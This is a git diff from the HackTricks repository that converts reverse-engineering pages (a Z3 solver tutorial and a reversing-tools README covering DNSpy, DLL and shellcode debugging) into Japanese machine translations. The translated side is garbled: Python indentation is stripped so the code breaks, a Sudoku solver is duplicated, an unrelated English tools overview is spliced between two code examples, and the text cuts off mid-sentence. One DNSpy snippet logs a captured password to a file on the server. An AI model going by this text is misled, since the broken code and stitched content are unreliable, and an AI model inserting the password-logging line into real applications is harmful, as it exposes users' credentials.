PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!** -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**または**[Telegramグループ](https://t.me/peass)**に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** - - diff --git a/reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md b/reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md index 7a6214ad4..48ba04c0f 100644 --- a/reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md +++ b/reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md @@ -1,28 +1,25 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-Very basically, this tool will help us to find values for variables that need to satisfy some conditions and calculating them by hand will be so annoying. Therefore, you can indicate to Z3 the conditions the variables need to satisfy and it will find some values (if possible). +非常に基本的に、このツールは、いくつかの条件を満たす必要がある変数の値を見つけるのに役立ちます。手計算で計算するのは非常に面倒です。したがって、Z3に変数が満たす必要のある条件を指示することができ、それが可能であればいくつかの値を見つけることができます。 -# Basic Operations - -## Booleans/And/Or/Not +# 基本的な操作 +## ブール値/And/Or/Not ```python #pip3 install z3-solver from z3 import * @@ -37,9 +34,9 @@ s.add(And(Or(x,y,Not(z)),y)) s.check() #If response is "sat" then the model is satifable, if "unsat" something is wrong print(s.model()) #Print valid values to satisfy the model ``` - ## Ints/Simplify/Reals +整数/簡略化/実数 ```python from z3 import * @@ -59,9 +56,23 @@ print(solve(r1**2 + r2**2 == 3, r1**3 == 2)) set_option(precision=30) print(solve(r1**2 + r2**2 == 3, r1**3 == 2)) ``` +## モデルの表示 -## Printing Model +To print the model, you can use the `model` method provided by the Z3 library. This method returns a string representation of the model. +モデルを表示するには、Z3ライブラリが提供する`model`メソッドを使用します。このメソッドは、モデルの文字列表現を返します。 + +```python +print(s.model()) +``` + +```python +print(s.model()) +``` + +The output will display the values assigned to each variable in the model. + +出力には、モデル内の各変数に割り当てられた値が表示されます。 ```python from z3 import * @@ -73,13 +84,11 @@ s.check() m = s.model() print ("x = %s" % m[x]) for d in m.decls(): - print("%s = %s" % (d.name(), m[d])) +print("%s = %s" % (d.name(), m[d])) ``` +# マシンの算術 -# Machine Arithmetic - -Modern CPUs and main-stream programming languages use arithmetic over **fixed-size bit-vectors**. Machine arithmetic is available in Z3Py as **Bit-Vectors**. - +現代のCPUと主流のプログラミング言語は、**固定サイズのビットベクトル**上での算術を使用しています。マシンの算術は、Z3Pyでは**ビットベクトル**として利用できます。 ```python from z3 import * @@ -94,11 +103,9 @@ a = BitVecVal(-1, 32) b = BitVecVal(65535, 32) print(simplify(a == b)) #This is False ``` +## 符号付き/符号なしの数値 -## Signed/Unsigned Numbers - -Z3 provides special signed versions of arithmetical operations where it makes a difference whether the **bit-vector is treated as signed or unsigned**. In Z3Py, the operators **<, <=, >, >=, /, % and >>** correspond to the **signed** versions. The corresponding **unsigned** operators are **ULT, ULE, UGT, UGE, UDiv, URem and LShR.** - +Z3は、**ビットベクトルが符号付きか符号なしかによって処理が異なる**特別な符号付きバージョンの算術演算を提供します。Z3Pyでは、演算子**<、<=、>、>=、/、%、および>>**が**符号付き**バージョンに対応しています。対応する**符号なし**演算子は**ULT、ULE、UGT、UGE、UDiv、URem、およびLShR**です。 ```python from z3 import * @@ -113,16 +120,14 @@ solve(x + y == 2, x > 0, y > 0) solve(x & y == ~y) solve(x < 0) -# using unsigned version of < +# using unsigned version of < solve(ULT(x, 0)) ``` +## 関数 -## Functions - -**Interpreted functio**ns such as arithmetic where the **function +** has a **fixed standard interpretation** (it adds two numbers). **Uninterpreted functions** and constants are **maximally flexible**; they allow **any interpretation** that is **consistent** with the **constraints** over the function or constant. - -Example: f applied twice to x results in x again, but f applied once to x is different from x. +**解釈された関数**は、**関数 +** が**固定された標準的な解釈**を持つ算術などの関数です(2つの数を足します)。**解釈されていない関数**と定数は**最大限の柔軟性**を持ち、関数または定数に関する制約と**整合性のある****任意の解釈**を許容します。 +例:xに対してfを2回適用すると、再びxになりますが、xに対してfを1回適用するとxとは異なります。 ```python from z3 import * @@ -141,62 +146,183 @@ s.add(f(x) == 4) #Find the value that generates 4 as response s.check() print(m.model()) ``` +# 例 -# Examples +## 数独ソルバー -## Sudoku solver +```python +from z3 import * +def solve_sudoku(grid): + # Create a 9x9 grid of integer variables + cells = [[Int(f"cell_{i}_{j}") for j in range(9)] for i in range(9)] + + # Each cell must contain a value between 1 and 9 + cell_constraints = [And(1 <= cells[i][j], cells[i][j] <= 9) for i in range(9) for j in range(9)] + + # Each row must contain distinct values + row_constraints = [Distinct(cells[i]) for i in range(9)] + + # Each column must contain distinct values + column_constraints = [Distinct([cells[i][j] for i in range(9)]) for j in range(9)] + + # Each 3x3 subgrid must contain distinct values + subgrid_constraints = [Distinct([cells[i + k][j + l] for k in range(3) for l in range(3)]) for i in range(0, 9, 3) for j in range(0, 9, 3)] + + # Add the initial values to the grid + initial_constraints = [cells[i][j] == grid[i][j] for i in range(9) for j in range(9) if grid[i][j] != 0] + + # Create the solver and add all the constraints + solver = Solver() + solver.add(cell_constraints + row_constraints + column_constraints + subgrid_constraints + initial_constraints) + + # Check if there is a solution + if solver.check() == sat: + # Get the solution + model = solver.model() + + # Extract the values from the model + solution = [[model.evaluate(cells[i][j]).as_long() for j in range(9)] for i in range(9)] + + return solution + + return None + +# Example Sudoku grid +grid = [ + [5, 3, 0, 0, 7, 0, 0, 0, 0], + [6, 0, 0, 1, 9, 5, 0, 0, 0], + [0, 9, 8, 0, 0, 0, 0, 6, 0], + [8, 0, 0, 0, 6, 0, 0, 0, 3], + [4, 0, 0, 8, 0, 3, 0, 0, 1], + [7, 0, 0, 0, 2, 0, 0, 0, 6], + [0, 6, 0, 0, 0, 0, 2, 8, 0], + [0, 0, 0, 4, 1, 9, 0, 0, 5], + [0, 0, 0, 0, 8, 0, 0, 7, 9] +] + +# Solve the Sudoku +solution = solve_sudoku(grid) + +# Print the solution +if solution: + for row in solution: + print(row) +else: + print("No solution found.") +``` + +```python +from z3 import * + +def solve_sudoku(grid): + # 9x9の整数変数のグリッドを作成 + cells = [[Int(f"cell_{i}_{j}") for j in range(9)] for i in range(9)] + + # 各セルは1から9の値を含む必要がある + cell_constraints = [And(1 <= cells[i][j], cells[i][j] <= 9) for i in range(9) for j in range(9)] + + # 各行は異なる値を含む必要がある + row_constraints = [Distinct(cells[i]) for i in range(9)] + + # 各列は異なる値を含む必要がある + column_constraints = [Distinct([cells[i][j] for i in range(9)]) for j in range(9)] + + # 各3x3のサブグリッドは異なる値を含む必要がある + subgrid_constraints = [Distinct([cells[i + k][j + l] for k in range(3) for l in range(3)]) for i in range(0, 9, 3) for j in range(0, 9, 3)] + + # グリッドに初期値を追加 + initial_constraints = [cells[i][j] == grid[i][j] for i in range(9) for j in range(9) if grid[i][j] != 0] + + # ソルバーを作成し、すべての制約を追加 + solver = Solver() + solver.add(cell_constraints + row_constraints + column_constraints + subgrid_constraints + initial_constraints) + + # 解が存在するかチェック + if solver.check() == sat: + # 解を取得 + model = solver.model() + + # モデルから値を抽出 + solution = [[model.evaluate(cells[i][j]).as_long() for j in range(9)] for i in range(9)] + + return solution + + return None + +# 例となる数独グリッド +grid = [ + [5, 3, 0, 0, 7, 0, 0, 0, 0], + [6, 0, 0, 1, 9, 5, 0, 0, 0], + [0, 9, 8, 0, 0, 0, 0, 6, 0], + [8, 0, 0, 0, 6, 0, 0, 0, 3], + [4, 0, 0, 8, 0, 3, 0, 0, 1], + [7, 0, 0, 0, 2, 0, 0, 0, 6], + [0, 6, 0, 0, 0, 0, 2, 8, 0], + [0, 0, 0, 4, 1, 9, 0, 0, 5], + [0, 0, 0, 0, 8, 0, 0, 7, 9] +] + +# 数独を解く +solution = solve_sudoku(grid) + +# 解を表示 +if solution: + for row in solution: + print(row) +else: + print("解が見つかりませんでした。") +``` ```python # 9x9 matrix of integer variables X = [ [ Int("x_%s_%s" % (i+1, j+1)) for j in range(9) ] - for i in range(9) ] +for i in range(9) ] # each cell contains a value in {1, ..., 9} cells_c = [ And(1 <= X[i][j], X[i][j] <= 9) - for i in range(9) for j in range(9) ] +for i in range(9) for j in range(9) ] # each row contains a digit at most once rows_c = [ Distinct(X[i]) for i in range(9) ] # each column contains a digit at most once cols_c = [ Distinct([ X[i][j] for i in range(9) ]) - for j in range(9) ] +for j in range(9) ] # each 3x3 square contains a digit at most once sq_c = [ Distinct([ X[3*i0 + i][3*j0 + j] - for i in range(3) for j in range(3) ]) - for i0 in range(3) for j0 in range(3) ] +for i in range(3) for j in range(3) ]) +for i0 in range(3) for j0 in range(3) ] sudoku_c = cells_c + rows_c + cols_c + sq_c # sudoku instance, we use '0' for empty cells instance = ((0,0,0,0,9,4,0,3,0), - (0,0,0,5,1,0,0,0,7), - (0,8,9,0,0,0,0,4,0), - (0,0,0,0,0,0,2,0,8), - (0,6,0,2,0,1,0,5,0), - (1,0,2,0,0,0,0,0,0), - (0,7,0,0,0,0,5,2,0), - (9,0,0,0,6,5,0,0,0), - (0,4,0,9,7,0,0,0,0)) +(0,0,0,5,1,0,0,0,7), +(0,8,9,0,0,0,0,4,0), +(0,0,0,0,0,0,2,0,8), +(0,6,0,2,0,1,0,5,0), +(1,0,2,0,0,0,0,0,0), +(0,7,0,0,0,0,5,2,0), +(9,0,0,0,6,5,0,0,0), +(0,4,0,9,7,0,0,0,0)) instance_c = [ If(instance[i][j] == 0, - True, - X[i][j] == instance[i][j]) - for i in range(9) for j in range(9) ] +True, +X[i][j] == instance[i][j]) +for i in range(9) for j in range(9) ] s = Solver() s.add(sudoku_c + instance_c) if s.check() == sat: - m = s.model() - r = [ [ m.evaluate(X[i][j]) for j in range(9) ] - for i in range(9) ] - print_matrix(r) +m = s.model() +r = [ [ m.evaluate(X[i][j]) for j in range(9) ] +for i in range(9) ] +print_matrix(r) else: - print "failed to solve" +print "failed to solve" ``` - -# References +# 参考文献 * [https://ericpony.github.io/z3py-tutorial/guide-examples.htm](https://ericpony.github.io/z3py-tutorial/guide-examples.htm) @@ -205,16 +331,14 @@ else: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/reversing/reversing-tools/README.md b/reversing/reversing-tools/README.md index e2b195e50..f84f5bc8c 100644 --- a/reversing/reversing-tools/README.md +++ b/reversing/reversing-tools/README.md @@ -1,196 +1,237 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-# Wasm decompiler / Wat compiler +# Wasmデコンパイラ/ Watコンパイラ -Online: +オンライン: -* Use [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) to **decompile** from wasm \(binary\) to wat \(clear text\) -* Use [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) to **compile** from wat to wasm -* you can also try to use [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) to decompile +* [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html)を使用して、wasm(バイナリ)からwat(クリアテキスト)に**デコンパイル**します。 +* [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/)を使用して、watからwasmに**コンパイル**します。 +* [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/)を使用してデコンパイルを試すこともできます。 -Software: +ソフトウェア: * [https://www.pnfsoftware.com/jeb/demo](https://www.pnfsoftware.com/jeb/demo) * [https://github.com/wwwg/wasmdec](https://github.com/wwwg/wasmdec) -# .Net decompiler +# .Netデコンパイラ -[https://github.com/icsharpcode/ILSpy](https://github.com/icsharpcode/ILSpy) -[ILSpy plugin for Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): You can have it in any OS \(you can install it directly from VSCode, no need to download the git. Click on **Extensions** and **search ILSpy**\). -If you need to **decompile**, **modify** and **recompile** again you can use: [**https://github.com/0xd4d/dnSpy/releases**](https://github.com/0xd4d/dnSpy/releases) \(**Right Click -> Modify Method** to change something inside a function\). -You cloud also try [https://www.jetbrains.com/es-es/decompiler/](https://www.jetbrains.com/es-es/decompiler/) +[https://github.com/icsharpcode/ILSpy](https://github.com/icsharpcode/ILSpy) +[Visual Studio Code用のILSpyプラグイン](https://github.com/icsharpcode/ilspy-vscode):どのOSでも使用できます(VSCodeから直接インストールできます。gitをダウンロードする必要はありません。**Extensions**をクリックして**ILSpy**を検索します)。 +**デコンパイル**、**変更**、**再コンパイル**が必要な場合は、[**https://github.com/0xd4d/dnSpy/releases**](https://github.com/0xd4d/dnSpy/releases)を使用できます(関数内の何かを変更するには、**右クリック -> Modify Method**をクリックします)。 +[https://www.jetbrains.com/es-es/decompiler/](https://www.jetbrains.com/es-es/decompiler/)も試してみることができます。 -## DNSpy Logging - -In order to make **DNSpy log some information in a file**, you could use this .Net lines: +## DNSpyログ +**DNSpyが情報をファイルに記録する**ために、次の.Netの行を使用できます: ```bash using System.IO; path = "C:\\inetpub\\temp\\MyTest2.txt"; File.AppendAllText(path, "Password: " + password + "\n"); ``` +## DNSpy デバッグ -## DNSpy Debugging +DNSpyを使用してコードをデバッグするには、次の手順を実行する必要があります。 -In order to debug code using DNSpy you need to: - -First, change the **Assembly attributes** related to **debugging**: +まず、**デバッグに関連する** **アセンブリ属性**を変更します: ![](../../.gitbook/assets/image%20%287%29.png) From: - ```aspnet [assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)] ``` +/hive/hacktricks/reversing/reversing-tools/README.md -To: +# Reversing Tools +This section provides an overview of various tools that can be used for reverse engineering and analyzing software. These tools are essential for understanding the inner workings of a program and identifying vulnerabilities or weaknesses. + +## Disassemblers + +Disassemblers are tools that convert machine code into assembly code, allowing you to analyze and understand the low-level instructions of a program. Some popular disassemblers include: + +- [IDA Pro](https://www.hex-rays.com/products/ida/) +- [Ghidra](https://ghidra-sre.org/) +- [Radare2](https://rada.re/r/) + +## Debuggers + +Debuggers are tools that allow you to analyze and manipulate the execution of a program. They provide features such as breakpoints, stepping through code, and inspecting memory. Some popular debuggers include: + +- [GDB](https://www.gnu.org/software/gdb/) +- [OllyDbg](http://www.ollydbg.de/) +- [x64dbg](https://x64dbg.com/) + +## Decompilers + +Decompilers are tools that convert compiled machine code back into a high-level programming language. They can be useful for understanding the logic and structure of a program. Some popular decompilers include: + +- [Ghidra](https://ghidra-sre.org/) +- [IDA Pro](https://www.hex-rays.com/products/ida/) +- [RetDec](https://retdec.com/) + +## Binary Analysis Frameworks + +Binary analysis frameworks provide a set of tools and libraries for analyzing binary files. They often include features such as static and dynamic analysis, vulnerability detection, and exploit development. Some popular binary analysis frameworks include: + +- [Angr](https://angr.io/) +- [Binary Ninja](https://binary.ninja/) +- [Radare2](https://rada.re/r/) + +## Sandboxes + +Sandboxes are isolated environments that allow you to execute and analyze potentially malicious software safely. They provide a controlled environment for observing the behavior of a program without risking damage to your system. Some popular sandboxes include: + +- [Cuckoo Sandbox](https://cuckoosandbox.org/) +- [FireEye](https://www.fireeye.com/) + +## Other Tools + +In addition to the above, there are many other tools available for reverse engineering and analyzing software. Some notable mentions include: + +- [Wireshark](https://www.wireshark.org/) +- [Frida](https://frida.re/) +- [Hopper](https://www.hopperapp.com/) + +Remember, the choice of tools depends on the specific task at hand and personal preference. It's important to experiment with different tools and find the ones that work best for you. ```text [assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default | DebuggableAttribute.DebuggingModes.DisableOptimizations | DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints | DebuggableAttribute.DebuggingModes.EnableEditAndContinue)] ``` - -And click on **compile**: +そして、**コンパイル**をクリックします: ![](../../.gitbook/assets/image%20%28314%29%20%281%29.png) -Then save the new file on _**File >> Save module...**_: +次に、新しいファイルを _**ファイル >> モジュールを保存...**_ に保存します: ![](../../.gitbook/assets/image%20%28261%29.png) -This is necessary because if you don't do this, at **runtime** several **optimisations** will be applied to the code and it could be possible that while debugging a **break-point is never hit** or some **variables don't exist**. - -Then, if your .Net application is being **run** by **IIS** you can **restart** it with: +これは必要です。なぜなら、これを行わないと、**実行時**にコードにいくつかの**最適化**が適用され、**デバッグ中にブレークポイントがヒットしない**か、一部の**変数が存在しない**可能性があるからです。 +次に、.Netアプリケーションが**IIS**によって**実行**されている場合、次のコマンドで**再起動**できます: ```text iisreset /noforce ``` - -Then, in order to start debugging you should close all the opened files and inside the **Debug Tab** select **Attach to Process...**: +次に、デバッグを開始するためには、すべての開いているファイルを閉じ、**デバッグタブ**で**プロセスにアタッチ**を選択する必要があります。 ![](../../.gitbook/assets/image%20%28166%29.png) -Then select **w3wp.exe** to attach to the **IIS server** and click **attach**: +次に、**w3wp.exe**を選択して**IISサーバー**にアタッチし、**アタッチ**をクリックします。 ![](../../.gitbook/assets/image%20%28274%29.png) -Now that we are debugging the process, it's time to stop it and load all the modules. First click on _Debug >> Break All_ and then click on _**Debug >> Windows >> Modules**_: +プロセスのデバッグが開始されたので、停止してすべてのモジュールをロードします。まず、**デバッグ**メニューの**Break All**をクリックし、次に**デバッグ**メニューの**Windows**から**Modules**をクリックします。 ![](../../.gitbook/assets/image%20%28210%29.png) ![](../../.gitbook/assets/image%20%28341%29.png) -Click any module on **Modules** and selec**t Open All Modules**: +**Modules**の中の任意のモジュールをクリックし、**Open All Modules**を選択します。 ![](../../.gitbook/assets/image%20%28216%29.png) -Right click any module in **Assembly Explorer** and click **Sort Assemblies**: +**Assembly Explorer**の中の任意のモジュールを右クリックし、**Sort Assemblies**をクリックします。 ![](../../.gitbook/assets/image%20%28130%29.png) # Java decompiler -[https://github.com/skylot/jadx](https://github.com/skylot/jadx) +[https://github.com/skylot/jadx](https://github.com/skylot/jadx) [https://github.com/java-decompiler/jd-gui/releases](https://github.com/java-decompiler/jd-gui/releases) # Debugging DLLs -## Using IDA +## IDAを使用する -* **Load rundll32** \(64bits in C:\Windows\System32\rundll32.exe and 32 bits in C:\Windows\SysWOW64\rundll32.exe\) -* Select **Windbg** debugger -* Select "**Suspend on library load/unload**" +* **rundll32をロード**する(64ビットはC:\Windows\System32\rundll32.exe、32ビットはC:\Windows\SysWOW64\rundll32.exe) +* **Windbgデバッガ**を選択する +* "**ライブラリのロード/アンロード時に中断**"を選択する ![](../../.gitbook/assets/image%20%2869%29.png) -* Configure the **parameters** of the execution putting the **path to the DLL** and the function that you want to call: +* 実行の**パラメータ**を設定し、**DLLのパス**と呼び出したい関数を指定します。 ![](../../.gitbook/assets/image%20%28325%29.png) -Then, when you start debugging **the execution will be stopped when each DLL is loaded**, then, when rundll32 load your DLL the execution will be stopped. +その後、デバッグを開始すると、各DLLがロードされるたびに実行が停止します。rundll32がDLLをロードすると、実行が停止します。 -But, how can you get to the code of the DLL that was lodaded? Using this method, I don't know how. +しかし、ロードされたDLLのコードにアクセスする方法はわかりません。 -## Using x64dbg/x32dbg +## x64dbg/x32dbgを使用する -* **Load rundll32** \(64bits in C:\Windows\System32\rundll32.exe and 32 bits in C:\Windows\SysWOW64\rundll32.exe\) -* **Change the Command Line** \( _File --> Change Command Line_ \) and set the path of the dll and the function that you want to call, for example: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\14.ridii\_2.dll",DLLMain -* Change _Options --> Settings_ and select "**DLL Entry**". -* Then **start the execution**, the debugger will stop at each dll main, at some point you will **stop in the dll Entry of your dll**. From there, just search for the points where you want to put a breakpoint. +* **rundll32をロード**する(64ビットはC:\Windows\System32\rundll32.exe、32ビットはC:\Windows\SysWOW64\rundll32.exe) +* **コマンドラインを変更**する( _File --> Change Command Line_ )と、dllのパスと呼び出したい関数を設定します。例:"C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\14.ridii\_2.dll",DLLMain +* _Options --> Settings_ を変更し、"**DLL Entry**"を選択します。 +* それから**実行を開始**し、デバッガは各dllメインで停止します。いずれかの時点で、自分のdllのdll Entryで停止します。そこから、ブレークポイントを設定したい場所を検索します。 -Notice that when the execution is stopped by any reason in win64dbg you can see **in which code you are** looking in the **top of the win64dbg window**: +win64dbgで実行が何らかの理由で停止された場合、win64dbgウィンドウの上部にある**コードがどこにあるか**が表示されます。 ![](../../.gitbook/assets/image%20%28181%29.png) -Then, looking to this ca see when the execution was stopped in the dll you want to debug. +その後、デバッグしたいdllで実行が停止した場所を確認できます。 # ARM & MIPS {% embed url="https://github.com/nongiach/arm\_now" %} -# Shellcodes +# シェルコード -## Debugging a shellcode with blobrunner +## blobrunnerを使用してシェルコードをデバッグする -[**Blobrunner**](https://github.com/OALabs/BlobRunner) will **allocate** the **shellcode** inside a space of memory, will **indicate** you the **memory address** were the shellcode was allocated and will **stop** the execution. -Then, you need to **attach a debugger** \(Ida or x64dbg\) to the process and put a **breakpoint the indicated memory address** and **resume** the execution. This way you will be debugging the shellcode. +[**Blobrunner**](https://github.com/OALabs/BlobRunner)は、メモリ内のスペースにシェルコードを**割り当て**、シェルコードが割り当てられた**メモリアドレス**を示し、実行を**停止**します。 +その後、プロセスにデバッガ(Idaまたはx64dbg)を**アタッチ**し、指定されたメモリアドレスに**ブレークポイント**を設定し、実行を**再開**します。これにより、シェルコードをデバッグできます。 -The releases github page contains zips containing the compiled releases: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5) -You can find a slightly modified version of Blobrunner in the following link. In order to compile it just **create a C/C++ project in Visual Studio Code, copy and paste the code and build it**. +リリースのGitHubページには、コンパイルされたリリースが含まれるzipファイルがあります:[https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5) +以下のリンクに、Blobrunnerのわずかに変更されたバージョンがあります。コンパイルするには、Visual Studio 